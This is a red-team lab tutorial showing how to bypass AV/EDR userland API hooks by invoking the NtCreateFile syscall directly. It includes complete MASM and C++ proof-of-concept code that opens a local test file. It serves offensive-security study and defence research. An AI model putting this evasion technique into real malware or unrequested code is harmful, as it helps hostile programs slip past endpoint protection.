Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
AVs/EDR solutions usually hook userland Windows APIs in order to decide if the code that is being executed is malicious or not. It's possible to bypass hooked functions by writing your own functions that call syscalls directly.
For a more detailed explanation of the above, read a great research done by @Cn33liz from @Outflank: https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/ - now you know what inspired me to do this lab.
With this lab, I wanted to follow along what Cn33liz did and go through the process of incorporating and compiling ASM code from the Visual Studio and simply invoking one syscall to see how it's all done by myself. In this case, I will be playing with
NtCreateFile
syscall as this will be enough to prove the concept.Also, see my previous labs about API hooking/unhooking: Windows API Hooking, Bypassing Cylance and other AVs/EDRs by Unhooking Windows APIs​
Add a new file to the project, say
syscalls.asm
- make sure the main cpp file has a different name as the project will not compile:
Navigate to project's
Build Customizations
:
Enable
masm
:
Configure the
syscalls.asm
file to be part of the project and compiled using Microsoft Macro Assembler:
In the
syscalls.asm
, let's define a procedure SysNtCreateFile
with a syscall number 55 that is reserved for NtCreateFile
in Windows 10:syscalls.asm
.code
SysNtCreateFile proc
mov r10, rcx
mov eax, 55h
syscall
ret
SysNtCreateFile endp
end
The way we can find the procedure's prologue (mov r10, rcx, etc..) is by disassembling the function
NtCreateFile
(assuming it's not hooked. If hooked, just do the same for, say NtWriteFile
) using WinDbg found in ntdll.dll
module or within Visual Studio by resolving the function's address and viewing its disassembly there:FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");

Disassembling the address of the
NtCreateFile
in ntdll
- note the highlighted instructions and we can skip the test
/ jne
instructions at this point as they are irrelevant for this exercise:
Once we have the
SysNtCreateFile
procedure defined in assembly, we need to define the C function prototype that will call that assembly procedure. The NtCreateFile
prototype per MSDN is:// Using the NtCreateFile prototype to define a prototype for SysNtCreateFile.
// The prorotype name needs to match the procedure name defined in the syscalls.asm
// EXTERN_C tells the compiler to link this function as a C function and use stdcall
// calling convention - Important!
​
EXTERN_C NTSTATUS SysNtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength
);
Once we have the prototype, we can compile the code and check if the
SysNtCreateFile
function can now be found in the process memory by entering the function's name in Visual Studio disassembly panel:
The above indicates that assembly instructions were compiled into the binary successfully and once executed, they will issue a syscall
0x55
that is normally called by NtCreateFile
from within ntdll.Before testing
SysNtCreateFile
, we need to initialize some structures and variables (like the name of the file name to be opened, access requirements, etc.) required by the NtCreateFile
:
Once the variables and structures are initialized, we are ready to invoke the
SysNtCreateFile
:SysNtCreateFile(
&fileHandle,
FILE_GENERIC_WRITE,
&oa,
&osb,
0,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_WRITE,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0
);
If we go into debug mode, we can see that all the arguments required by the
SysNtCreateFile
are being pushed on to the stack - as seen on the right disassembler panel where the break point on SysNtCreateFile
is set:
If we continue debugging, the debugger eventually steps in to our assembly code that defines the
SysNtCreateFile
procedure and issues the syscall for NtCreateFile
. Once the syscall finishes executing, a handle to the opened file c:\temp\test.txt
is returned to the variable fileHandle
:
What this all means is that if an AV/EDR product had hooked
NtCreateFile
API call, and was blocking any access to the file c:\temp\test.txt as part of the hooked routine, we would have bypassed that restriction since we did not call the NtCreateFile
API, but called its syscall directly instead by invoking SysNtCreateFile
- the AV/EDR would not have intercepted our attempt to open the file and we would have opened it successfully.syscalls.cpp
#include "pch.h"
#include <Windows.h>
#include "winternl.h"
#pragma comment(lib, "ntdll")
​
EXTERN_C NTSTATUS SysNtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);
​
int main()
{
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
OBJECT_ATTRIBUTES oa;
HANDLE fileHandle = NULL;
NTSTATUS status = NULL;
UNICODE_STRING fileName;
IO_STATUS_BLOCK osb;
​
RtlInitUnicodeString(&fileName, (PCWSTR)L"\\??\\c:\\temp\\test.txt");
ZeroMemory(&osb, sizeof(IO_STATUS_BLOCK));
InitializeObjectAttributes(&oa, &fileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
​
SysNtCreateFile(
&fileHandle,
FILE_GENERIC_WRITE,
&oa,
&osb,
0,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_WRITE,
FILE_OVERWRITE_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
​
return 0;
}